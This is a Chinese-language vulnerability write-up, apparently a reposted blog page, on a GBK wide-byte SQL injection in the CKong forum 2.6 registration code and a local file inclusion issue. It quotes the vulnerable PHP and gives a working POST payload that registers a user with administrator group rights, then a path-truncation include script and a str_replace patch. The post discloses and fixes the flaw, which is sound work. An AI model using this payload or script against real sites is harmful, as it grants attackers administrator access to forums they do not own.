好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

心空论坛(CKong)2.6 GBK版注入漏洞 & 本地包含漏

问题出现在profile.php文件里面,过滤了$reguser,$regemail,后面的$reghomepage,$regarea,$regcomm,$regsex都可以用宽字节注入,直接得到一个管理员权限的用户。

    代码如下:

以下是引用片段:

if($action=='reg' && $reguser) {         if($Global['hashto']['reg'] && (!$hashnum || $hashnum<>$_SESSION[$Global['privprefix'].'imghash'])) $C_errormsg.='<li>验证码错误</li>';         if (!preg_match("/^([\x81-\xfea-z0-9]){3,12}$/i",$reguser)) $C_errormsg.='<li>用户名请用3-12字节的中文字母或数字</li>';         if(!eregi("^[_\.0-9a-z-]+@([0-9a-z][0-9a-z-]+\.)+[a-z]{2,3}$",$regemail)) $C_errormsg.='<li>Email填写错误</li>';         $sql='select user_id from '.__TAB_USER__." where ".$Global['mysql_userow']."='".$reguser."'";         $result=$db->query($sql);         if($rows=$db->fetch_row($result)) $C_errormsg.='<li>用户名已存在</li>';         $sql='select ban_id from '.__TAB_BANLIST__." where ban_name='".$reguser."'";         $result=$db->query($sql);         if($rows=$db->fetch_row($result)) $C_errormsg.='<li>此用户名已被禁止</li>';         $db->free_result($result);         if(!$C_errormsg) {                 $sql='insert into '.__TAB_USER__." set ".$Global['mysql_userow']."='$reguser',".$Global['mysql_pwdrow']."='".md5($regpwd)."', user_email='$regemail',user_qq='".intval($regqq)."',user_regdate='".$Global['F_time']."', user_homepage='$reghomepage',user_area='$regarea',user_comm='$regcomm',user_sex='$regsex', user_publicemail='".intval($publicmail)."',group_id=2";                                 die("\r\n".$sql);                 if(!($result=$db->query($sql))) back('注册数据插入失败');  

    自行抓包直接POST提交到:

http://www.2cto.com /phptest/Ckong2/CKong2.6/profile.php

reguser=seraph3&regpwd=seraph&regpwd2=seraph&regemail=seraphsdflk2@dfc.om&publicmail=1&regsex=1%d5',user_publicemail%3d1,group_id%3D7#&regqq=343434&reghomepage=1212121&regarea=121212&regcomm=%CE%D2%CA%B2%C3%B4%D2%B2%B2%BB

    修补方法:

$reghomepage=str_replace("'","‘",$reghomepage); $regarea=str_replace("'","‘",$regarea); $regcomm=str_replace("'","‘",$regcomm); $regsex=str_replace("'","‘",$regsex);

    还来还是不能太相信GPC了,自己手动过滤过滤比较靠得住一点。

----------------------------- JJ的分割线 -----------------------------

    这套程序还有一个本地包含 漏洞 。

    在本地全登录后,admin.php 里面代码:

以下是引用片段:

<?php ini_set('max_execution_time', 0); $str=''; for($i=0;$i<1000;$i++) {         $str=$str.".";         $pfile="create.txt";         if(include_once ($pfile.$str.'.php')) echo $i; } ?>     关于这个问题,希望大家一起来讨论讨论。

    这套程序只是一个小程序,可能用的人不多,全当技术练习。 

查看更多关于心空论坛(CKong)2.6 GBK版注入漏洞 & 本地包含漏的详细内容...

  阅读:45次